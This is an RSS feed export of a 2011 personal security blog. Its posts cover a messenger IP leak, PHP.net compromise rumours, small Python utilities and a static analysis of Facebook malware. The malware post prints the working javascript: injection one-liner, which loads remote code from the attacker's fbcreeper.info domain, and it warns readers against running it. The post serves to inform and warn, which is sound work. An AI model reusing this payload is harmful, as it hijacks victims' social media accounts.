<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gatoni</title>
	<atom:link href="http://gatoni.gr/feed/" rel="self" type="application/rss+xml" />
	<link>http://gatoni.gr</link>
	<description>My adventures in the 7 layers of OSI</description>
	<lastBuildDate>Thu, 12 May 2011 17:53:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Yet another data leak from Microsoft Windows Live Messenger</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/yet-another-data-leak-from-microsoft-windows-live-messenger/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/yet-another-data-leak-from-microsoft-windows-live-messenger/#comments</comments>
		<pubDate>Sun, 10 Apr 2011 16:43:17 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[anonymity]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[windows live messenger]]></category>
		<category><![CDATA[wlm]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=372</guid>
		<description><![CDATA[It&#8217;s common knowledge that Microsoft Windows Live Messenger is one of the most insecure instant messengers out there, since its communication protocol doesn&#8217;t use any kind of encryption. Today, while I was working on my pet honeypot project, I found out that it also leaks users&#8217; public IP addresses when they exchange links during their&#8230;]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s common knowledge that Microsoft Windows Live Messenger is one of the most insecure instant messengers out there, since its communication protocol doesn&#8217;t use any kind of encryption.</p>
<p>Today, while I was working on my pet honeypot project, I found out that it also leaks users&#8217; public IP addresses when they exchange links during their conversations.<span id="more-372"></span></p>
<p>So, let&#8217;s say you type in <em>www.example.com/something/test.php</em> and press Enter to send it to your conversation partner. The moment you do that, WLM without any warning will open a connection to the aforementioned host and send a HEAD HTTP request, thous exposing your public IP address.</p>
<pre>HEAD /test/something.php HTTP/1.1
User-Agent: Windows-Live-Social-Object-Extractor-Engine/1.0
Host: www.example.com
Content-Length: 0
Cache-Control: no-cache</pre>
<p>Someone could say <em>&#8220;So? What&#8217;s the big deal?&#8221;</em>. Sure, if you&#8217;re exchanging links to YouTube and Facebook, it&#8217;s not a big deal -probably no one gives a fuck for the videos you&#8217;re watching or the people you&#8217;re stalking. On the other hand, things like that might expose your identity, if let&#8217;s say, you browse a host through a darknet like TOR or I2P, and decide (without giving it much thought) to share a link to that host through Windows Live Messenger.</p>
<p><em>&#8230;Of course there are not many chances that you&#8217;re using TOR/I2P while using WLM for your instant messaging.  <img src='http://gatoni.gr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/yet-another-data-leak-from-microsoft-windows-live-messenger/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Few words on rumors about PHP.net compromisation</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/few-words-on-rumors-about-php-net-compromisation/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/few-words-on-rumors-about-php-net-compromisation/#comments</comments>
		<pubDate>Fri, 18 Mar 2011 18:17:08 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[php.net]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=352</guid>
		<description><![CDATA[While I was browsing my Twitter timeline today, I saw a tweet by VUPEN security about a possible compromise of PHP.net server(s) and a potential PHP source backdoor. We are aware of a possible compromise of PHP.NET server(s) and a potential PHP source backdoor. &#8220;wiki.php.net&#8221; was taken offline &#8211;VUPEN Security Before I continue, I want&#8230;]]></description>
			<content:encoded><![CDATA[<p>While I was browsing my Twitter timeline today, I saw a tweet by <a title="VUPEN Security on Twitter" href="http://twitter.com/vupen" target="_blank">VUPEN security</a> about a <strong>possible</strong> compromise of PHP.net server(s) and a <strong>potential</strong> PHP source backdoor.</p>
<blockquote><p>We are aware of a possible compromise of PHP.NET server(s) and a potential PHP source backdoor. &#8220;wiki.php.net&#8221; was taken offline</p>
<p>&#8211;VUPEN Security</p></blockquote>
<p>Before I continue, I want to make clear that I don&#8217;t have any information regarding the compromise, neither can I state that PHP source code was or wasn&#8217;t backdoored, since I <strong>have not</strong> inspected the code, neither have I reviewed the revision log and the changes committed to PHP source tree. This information is publicly available at http://svn.php.net.<span id="more-352"></span></p>
<p><strong>What I can state, though, is that showing this screenshot&#8230;</strong></p>
<p><a href="http://gatoni.gr/wp-content/uploads/2011/03/Php.net_got_hacked.jpg" target="_blank"><img class="aligncenter size-large wp-image-357" title="php.net_svn_screenshot" src="http://gatoni.gr/wp-content/uploads/2011/03/Php.net_got_hacked-1024x485.jpg" alt="PHP SVN Screenshot" width="1024" height="485" /></a></p>
<p><strong>&#8230;and claiming that &#8220;The picture shows that php.net site was compromised, and hacker backdoored php source&#8221; is 100% BULLSHIT.</strong></p>
<p><strong>Anyone with some basic understanding of code can tell you that a modification of a single line of code in the section which shows information about the PHP Group, is obviously NOT a backdoor.</strong></p>
<p><strong>Please, stop spreading things such as &#8220;Php.net was compromised, and php source backdoored !&#8221; as a fact, when your only &#8220;evidence&#8221; is the screenshot above.</strong></p>
<p><strong>What is outrageous though, is that I see respected users who post about infosec and have</strong><strong> hundreds of followers, spreading this kind of misinformation and they don&#8217;t even seem to be joking.</strong></p>
<p><strong>Stop blowing things out of proportion.</strong></p>
<p><strong><span style="color: #ff0000;">[UPDATE]</span></strong><br />
PHP team announced officially today that their wiki was compromised. Though, after an extensive code inspection, there were no traces of backdoors. Case closed.</p>
<div>
<blockquote><p><abbr title="2011-03-19T11:20:04-07:00">[19-Mar-2011]</abbr></p>
<div>
<p>The wiki.php.net box was compromised and the attackers were able to      collect wiki account credentials. No other machines in the php.net      infrastructure appear to have been affected. Our biggest concern is,      of course, the integrity of our source code. We did an extensive code      audit and looked at every commit since 5.3.5 to make sure that no stolen      accounts were used to inject anything malicious. Nothing was found.      The compromised machine has been wiped and we are forcing a password      change for all svn accounts.</p>
</div>
<p>We are still investigating the details of the attack which combined a      vulnerability in the Wiki software with a Linux root exploit.</p></blockquote>
</div>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/few-words-on-rumors-about-php-net-compromisation/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Material from my presentation at 0&#215;375-0&#215;03</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/material-from-my-presentation-at-0x375-0x03/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/material-from-my-presentation-at-0x375-0x03/#comments</comments>
		<pubDate>Sat, 26 Feb 2011 14:05:06 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[0x375]]></category>
		<category><![CDATA[nfqueue]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=348</guid>
		<description><![CDATA[On February the 4th I had a small presentation at Thessaloniki Tech Talk Sessions, on hijacking web sessions and injecting code at the lower layers of a local area network. Here you can find the slides and a little paper I wrote on the topic: Hijacking Sessions and Injecting Code at OSI Layers 2,3 &#38;&#8230;]]></description>
			<content:encoded><![CDATA[<p>On February the 4th I had a small presentation at <a href="http://0x375.org/" target="_blank">Thessaloniki Tech Talk Sessions</a>, on hijacking web sessions and injecting code at the lower layers of a local area network. Here you can find the slides and a little paper I wrote on the topic:</p>
<p><a href="http://0x375.org/archive/0x375_0x03-2011-02-04/Hijacking_sessions-MilesAway.tar.gz" target="_self">Hijacking Sessions and Injecting Code at OSI Layers 2,3 &amp; 4</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/material-from-my-presentation-at-0x375-0x03/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bad Decisions 101: Animated Avatars On Twitter</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/bad-decisions-101-animated-avatars-on-twitter/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/bad-decisions-101-animated-avatars-on-twitter/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 18:59:09 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[animated]]></category>
		<category><![CDATA[avatar]]></category>
		<category><![CDATA[gif]]></category>
		<category><![CDATA[greasemonkey]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=332</guid>
		<description><![CDATA[While I was browsing today my timeline, I noticed some re-tweets of people who had annoyingly blinky avatars. I guess Twitter missed the old days, when browsing the web could give you an epileptic seizure. Since people tend to get excited with stupid ideas, I took the time to write a little GreaseMonkey script for&#8230;]]></description>
			<content:encoded><![CDATA[<p>While I was browsing today my timeline, I noticed some re-tweets of people who had annoyingly blinky avatars. I guess Twitter missed the old days, when browsing the web could give you an epileptic seizure. Since people tend to get excited with stupid ideas, I took the time to write a little GreaseMonkey script for Twitter, which substitutes GIF avatars with the Twitter&#8217;s default avatar (an egg or something). So now when the blinky pink &#8220;Hello, Kitty&#8221; apocalypse comes, I&#8217;ll be prepared.</p>
<p>You can grab the script from <strong><a title="GreaseMonkey script for blocking GIF avatars in Twitter" href="http://gatoni.gr/wp-content/uploads/2011/02/twitter.gif.blocker.user_.tar" target="_self">here</a></strong>.</p>
<pre>/*
A little GreaseMonkey script for Twitter, which replaces GIF avatars
with the Twitter's default avatar in your timeline.

Karagasidis Dimitris, http://gatoni.gr
*/

// ==UserScript==
// @name          Twitter GIF Avatar Blocker
// @namespace     http://gatoni.gr
// @description   A script which substitutes GIF avatars with the Twitter's default avatar
// @include       http://twitter.com/*
// ==/UserScript==

function eliminate_gifs() {
    var avatars = document.getElementsByTagName("img");
    for ( var i in avatars ) {
        // Check if the image is an avatar in the timeline
        if ( avatars[i].className == "user-profile-link" || avatars[i].className == "photo fn" ) {
            // Substitute the animated avatar with the Twitter's default avatar
            if ( avatars[i].src.substr(-3).toLowerCase() == "gif" ) {
                avatars[i].src = "http://a1.twimg.com/sticky/default_profile_images/default_profile_0_normal.png";
            };
         };
    };
};
eliminate_gifs();
setInterval( eliminate_gifs, 3000 );
</pre>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/bad-decisions-101-animated-avatars-on-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Static analysis of fbcreeper/procreeper/profilechecker/thefbcreeper Facebook malware</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/static-analysis-of-fbcreeperprocreeperprofilecheckerthefbcreeper-facebook-malware/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/static-analysis-of-fbcreeperprocreeperprofilecheckerthefbcreeper-facebook-malware/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 21:44:55 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fbcreeper]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[procreeper]]></category>
		<category><![CDATA[profilechecker]]></category>
		<category><![CDATA[static]]></category>
		<category><![CDATA[thefbcreeper]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=315</guid>
		<description><![CDATA[Spent the day de-obfuscating and analyzing the code of a malware I found on the wall of one of my contacts. It took me quite a few hours, since I de-obfuscated the code manually in a text-editor. At least now I can build a descent code obfuscator on my own.  :p You can read the&#8230;]]></description>
			<content:encoded><![CDATA[<p>Spent the day de-obfuscating and analyzing the code of a malware I found on the wall of one of my contacts. It took me quite a few hours, since I de-obfuscated the code manually in a text-editor. At least now I can build a descent code obfuscator on my own.  :p</p>
<p>You can read the de-obfuscated and fully documented code <a href="http://gatoni.gr/wp-content/uploads/2011/02/fbcreeper_analysis.js.txt" target="_blank">here</a>.</p>
<p>This is the URLs distributing the malware:</p>
<ul>
<li>http://fbcreeper.info/</li>
<li>http://procreeper.info/</li>
<li>http://profilechecker.info/</li>
<li>http://thefbcreeper.info/</li>
</ul>
<p>This is what this malware does:</p>
<ul>
<li>Posts links on victim&#8217;s wall, which advertise the malware</li>
<li>Posts links to victim&#8217;s contacts&#8217; walls, which advertise the malware</li>
<li>Posts links to pages created or administered by victim, which advertise<br />
the malware</li>
<li>Adds users with emails lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com as administrators to the pages created by the victim.</li>
<li>Sends private messages, advertising the malware</li>
<li>&#8220;Likes&#8221; pages &#8220;DJ-Emphatic&#8221; and &#8220;OH Whutt&#8221; with victim&#8217;s account</li>
<li>Invites all contacts to an event (which seems to be removed now)</li>
<li>Sends user to http://fbviews.org/result.php, where the user is asked to do some &#8220;anti-spam verification tests&#8221; before he can view the results. Of course there are no results, and the malware developers earn money from bringing traffic to the sites mentined there.</li>
</ul>
<p>As of now (22nd February 2011, 23:40 GMT+2), somewhere between 11,000 and 20,000 accounts are infected.</p>
<p>The malware is injected through a javascript code snippet:</p>
<pre>javascript: (a = (d = document).createElement("script")).src = "http://fbcreeper.info/StalkerTools.fb";void(d.body.appendChild(a))
</pre>
<p><strong><br />
Do NOT inject and execute unknown code in your browser address bar. If you happened to use this application/malware, check your pages&#8217; administrators, log-out from your Facebook account, clear browsing history and remove any links left on your wall and your pages.<br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/static-analysis-of-fbcreeperprocreeperprofilecheckerthefbcreeper-facebook-malware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Some lazy afternoon jamming&#8230;</title>
		<link>http://gatoni.gr/personal-bunch-of-stuff/some-lazy-afternoon-jamming/</link>
		<comments>http://gatoni.gr/personal-bunch-of-stuff/some-lazy-afternoon-jamming/#comments</comments>
		<pubDate>Mon, 21 Feb 2011 20:26:42 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Personal bunch of stuff]]></category>
		<category><![CDATA[guitar]]></category>
		<category><![CDATA[jamming]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=309</guid>
		<description><![CDATA[Going through some lazy days, not working on anything in particular. Waiting for my exam period to end. Spent the day jamming on my guitar, and decided to record some parts of it. So this is the result.]]></description>
			<content:encoded><![CDATA[<p>Going through some lazy days, not working on anything in particular. Waiting for my exam period to end. Spent the day jamming on my guitar, and decided to record some parts of it. So this is the result. <img src='http://gatoni.gr/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /><br />
<br/><br />
<iframe title="YouTube video player" width="480" height="390" src="http://www.youtube.com/embed/e3UzdLyEN48" frameborder="0" allowfullscreen></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/personal-bunch-of-stuff/some-lazy-afternoon-jamming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building a simple client for No-IP™ Dynamic DNS service</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/building-a-simple-client-for-no-ip%e2%84%a2-dynamic-dns-service/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/building-a-simple-client-for-no-ip%e2%84%a2-dynamic-dns-service/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 19:04:13 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[dynamic dns]]></category>
		<category><![CDATA[no-ip]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=301</guid>
		<description><![CDATA[Few days ago, I registered a free domain name from No-IP™ Dynamic DNS provider. My router has an embedded dynamic dns client, but for some reason it didn&#8217;t update properly the No-IP™ servers each time it got disconnected, so I had to do it manually. Also it&#8217;s not configurable, so I couldn&#8217;t set various parameters&#8230;]]></description>
			<content:encoded><![CDATA[<p>Few days ago, I registered a free domain name from No-IP™ Dynamic DNS provider. My router has an embedded dynamic dns client, but for some reason it didn&#8217;t update properly the No-IP™ servers each time it got disconnected, so I had to do it manually. Also it&#8217;s not configurable, so I couldn&#8217;t set various parameters such as update interval.</p>
<p>I decided to set up <em>ddclient</em> on one of my boxes to solve this problem. I installed it, but I really didn&#8217;t feel like reading the whole<em> ddclient.conf</em> file in order to configure it, so I decided to write my own client. It&#8217;s not rocket science, you just make requests to No-IP™ update servers with your credentials, your current ip and the domain name you want to associate with it.<span id="more-301"></span></p>
<p>After I wrote it, I decided to convert it into a Python class and upload it <a title="NoIPClient Class" href="http://gatoni.gr/wp-content/uploads/2011/01/noipclient.py_.gz" target="_blank">here</a>, in case anyone finds it useful.</p>
<p>The usage is pretty simple:</p>
<pre>#!/usr/bin/env python
from noipclient import NoIPClient

client = NoIPClient( "your-username", "your-password", "your-domain" )
</pre>
<p>By default, the class will update No-IP™ servers every 300 seconds. You can change that with set_interval() method:</p>
<pre>...
# Update No-IP servers every 10 minutes
client.set_interval(600)
</pre>
<p>Also, by default the class logs all messages in a log file which is located in the same directory with the script. You can change that with set_logfile() method:</p>
<pre>...
# Log all messages to /var/log/noipclient.log
client.set_logfile( "/var/log/noipclient.log" )
</pre>
<p>Just make sure you have enough permissions in the directory that you want to store the log file.</p>
<p>To start the updating procedure, use the start() method:</p>
<pre>...
client.start()
</pre>
<p>That&#8217;s pretty much all. Here&#8217;s the code:</p>
<pre>#!/usr/bin/env python2.5

# Copyright 2011 Karagasidis Dimitris. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are
# permitted provided that the following conditions are met:
#
#    1. Redistributions of source code must retain the above copyright notice, this list of
#       conditions and the following disclaimer.
#
#    2. Redistributions in binary form must reproduce the above copyright notice, this list
#       of conditions and the following disclaimer in the documentation and/or other materials
#       provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY KARAGASIDIS DIMITRIS ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KARAGASIDIS DIMITRIS OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# The views and conclusions contained in the software and documentation are those of the
# authors and should not be interpreted as representing official policies, either expressed
# or implied, of Karagasidis Dimitris.

# Simple client for NoIP Dynamic DNS provider
# More info can be found here: http://www.no-ip.com/integrate/

import urllib2, re, logging, time

class NoIPClient:
  _update_url = "https://dynupdate.no-ip.com/nic/update"
  _logfile = "noipclient.log"
  _interval = 300
  _domain_name = ""
  _current_ip = ""

  def __init__( self, username, password, domain_name ):
    self._domain_name = domain_name
    password_manager = urllib2.HTTPPasswordMgrWithDefaultRealm()
    password_manager.add_password( None, self._update_url, username, password )
    authentication_handler = urllib2.HTTPBasicAuthHandler( password_manager )
    opener = urllib2.build_opener( authentication_handler )
    urllib2.install_opener( opener )

  def _get_url_data( self, url ):
    handler = urllib2.urlopen( url )
    data = handler.readlines()
    handler.close()
    return data

  def _check_ip( self ):
    ip_regex = "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
    worldip_data = self._get_url_data( "http://api.wipmania.com" )[0]
    ip = re.findall( ip_regex, worldip_data )
    if len( ip ) == 0:
      self._current_ip = ""
      logging.warning( "Could not resolve current ip." )
      return False
    self._current_ip = ip[0]
    logging.info( "Current ip resolved: %s" % ip[0] )
    return True

  def _update( self ):
    if self._check_ip():
      res = self._get_url_data( "%s?hostname=%s&amp;myip=%s" % ( self._update_url, self._domain_name, self._current_ip ) )[0]
      if res.find( "good" ) != -1:
        logging.info( "DNS hostname update successful" )
      if res.find( "nochg" ) != -1:
        logging.info( "IP address is current, no update performed" )
      if res.find( "nohost" ) != -1:
        logging.error( "Hostname supplied does not exist under specified account" )
      if res.find( "badauth" ) != -1:
        logging.error( "Invalid username password combination" )
      if res.find( "badagent" ) != -1:
        logging.error( "Disabling client" )
        exit()
      if res.find( "!donator" ) != -1:
        logging.error( "An update request was sent including a feature that is not available" )
      if res.find( "abuse" ) != -1:
        logging.error( "Username is blocked due to abuse. Terminating" )
        exit()
      if res.find( "911" ) != -1:
        logging.error( "A fatal error on server side occured. Setting interval to 1800 seconds" )
        self._interval = 1800

  def _configure_logging( self ):
    logging.basicConfig(
      filename=self._logfile,
      level=logging.DEBUG,
      format="%(asctime)s\t%(levelname)s\t%(message)s",
      datefmt='%b %d %H:%M:%S'
    )

  def set_interval( self, seconds ):
    self._interval = seconds

  def set_logfile( self, filename ):
    self._logfile = filename
    self._configure_logging()

  def start( self ):
    self._configure_logging()
    while True:
      self._update()
      time.sleep( self._interval )
</pre>
<p>I use WorldIP&#8217;s API to find the current ip address. Seems to work out-of-the-box on Debian GNU/Linux and OpenBSD 4.8 with Python 2.5.</p>
<p>Enjoy <img src='http://gatoni.gr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/building-a-simple-client-for-no-ip%e2%84%a2-dynamic-dns-service/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Finding packages on OpenBSD mirrors</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/finding-packages-on-openbsd-mirrors/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/finding-packages-on-openbsd-mirrors/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 20:20:35 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[OpenBSD]]></category>
		<category><![CDATA[package management]]></category>
		<category><![CDATA[package search]]></category>
		<category><![CDATA[pkg_find]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[utility]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=286</guid>
		<description><![CDATA[[Update #1/Time Saver: As DbD pointed out in his comment, you can search for package names using pkg_info or the pkg front-end to  package management tools.] As I mentioned in one of my previous posts, I installed OpenBSD, so I&#8217;m spending these days configuring it according to my needs. One of the things that annoyed&#8230;]]></description>
			<content:encoded><![CDATA[<p><em>[Update #1/Time Saver: As DbD pointed out in his comment, you can search for package names using <strong>pkg_info</strong> or the <strong>pkg</strong> front-end to  package management tools.]<br />
</em></p>
<p>As I mentioned in one of my previous posts, I installed OpenBSD, so I&#8217;m spending these days configuring it according to my needs.</p>
<p>One of the things that annoyed me, is that the OpenBSD&#8217;s default package management system doesn&#8217;t have a utility for searching packages. Every time I was about to install a package, I had to search the web or look for it in my preferred mirror&#8217;s directory listing. So I decided to write a utility for that -since I like writing my own shit and it was something trivial to do.<span id="more-286"></span></p>
<p>There&#8217;s not much to say about it. It&#8217;s written in Python and uses the libraries that come with version 2.5 by default. It logs into the mirror you specified in PKG_PATH environmental variable, and searches in package names for the string you provided as command-line argument. Just get <a title="pkg_find - OpenBSD package search utility" href="http://gatoni.gr/wp-content/uploads/2011/01/pkg_find.gz" target="_blank">pkg_find.gz</a> and put it somewhere in your path. That&#8217;s all.</p>
<pre>root@puffy /home/gatoni/code $ gunzip pkg_find.gz
root@puffy /home/gatoni/code $ cp pkg_find /usr/local/bin/pkg_find
root@puffy /home/gatoni/code $ chmod +x /usr/local/bin/pkg_find
root@puffy /home/gatoni/code $ pkg_find apache
Found 6218 total packages at ftp://ftp.cc.uoc.gr/mirrors/OpenBSD/4.8/packages/i386/
Results(4):
        apache-ant-1.7.1p1.tgz
        apache-couchdb-0.10.1.tgz
        apache-httpd-2.2.15.tgz
        modsecurity-apache-1.9.3p3.tgz
</pre>
<p>The code is trivial as well&#8230;</p>
<pre>#!/usr/bin/env python2.5

# Copyright 2011 Karagasidis Dimitris. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are
# permitted provided that the following conditions are met:
#
#    1. Redistributions of source code must retain the above copyright notice, this list of
#       conditions and the following disclaimer.
#
#    2. Redistributions in binary form must reproduce the above copyright notice, this list
#       of conditions and the following disclaimer in the documentation and/or other materials
#       provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY KARAGASIDIS DIMITRIS ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KARAGASIDIS DIMITRIS OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# The views and conclusions contained in the software and documentation are those of the
# authors and should not be interpreted as representing official policies, either expressed
# or implied, of Karagasidis Dimitris.

from urlparse import urlparse
from ftplib import FTP
from os import environ
from sys import argv

pkg_path = ""
matches = []
packages = 0
keyword = ""

def check_pkg( line ):
  global matches, packages, keyword
  package = line.split( " " )[-1]
  if not package.endswith( ".tgz" ):
    return
  if package.lower().find( keyword.lower() ) != -1:
    matches.append( package )
  packages += 1

def usage():
  print "Usage:\n%s \n" % argv[0]

if len( argv ) != 2:
  usage()
  exit()
keyword = argv[1]

try:
  pkg_path = environ[ "PKG_PATH" ]
except:
  print "PKG_PATH enviroment variable is not set."
  exit()

url_data = urlparse( pkg_path )
try:
  ftp = FTP( url_data[1] )
  ftp.login()
  ftp.cwd( url_data[2] )
  listing = ftp.retrlines( "LIST", check_pkg )
  ftp.close()
except:
  print "Error during package list retrieval."
  exit()

print "Found %d total packages at %s" % ( packages, pkg_path )
print "Results(%d):" % len(matches)
if len(matches):
  for p in matches:
    print "\t%s" % p
else:
  print "\tNone"
</pre>
<p>As I was writing this post, I realized that I should add support for multiple mirrors in PKG_PATH. I&#8217;ll update the code one of these days. There is at least one similar tool out there, but it does more than just searching for packages. I prefer keepin&#8217; it simple so I wrote a script that does what it supposed to do -search for packages. Now that I think, it would be wise to remove the additional info and formatting, in case it ever needs to be piped with other applications.</p>
<p>Keep in mind that this utility has nothing to do with the official OpenBSD&#8217;s packet management system.</p>
<p>Enjoy. <img src='http://gatoni.gr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/finding-packages-on-openbsd-mirrors/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fixing display glitches in X11 and OpenBSD on Radeon-based cards</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/fixing-display-glitches-in-x11-and-openbsd-on-radeon-based-cards/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/fixing-display-glitches-in-x11-and-openbsd-on-radeon-based-cards/#comments</comments>
		<pubDate>Tue, 25 Jan 2011 18:38:40 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Display Glitches]]></category>
		<category><![CDATA[OpenBSD]]></category>
		<category><![CDATA[Radeon]]></category>
		<category><![CDATA[Screen Tearing]]></category>
		<category><![CDATA[X11]]></category>
		<category><![CDATA[xfce]]></category>
		<category><![CDATA[xorg.conf]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=277</guid>
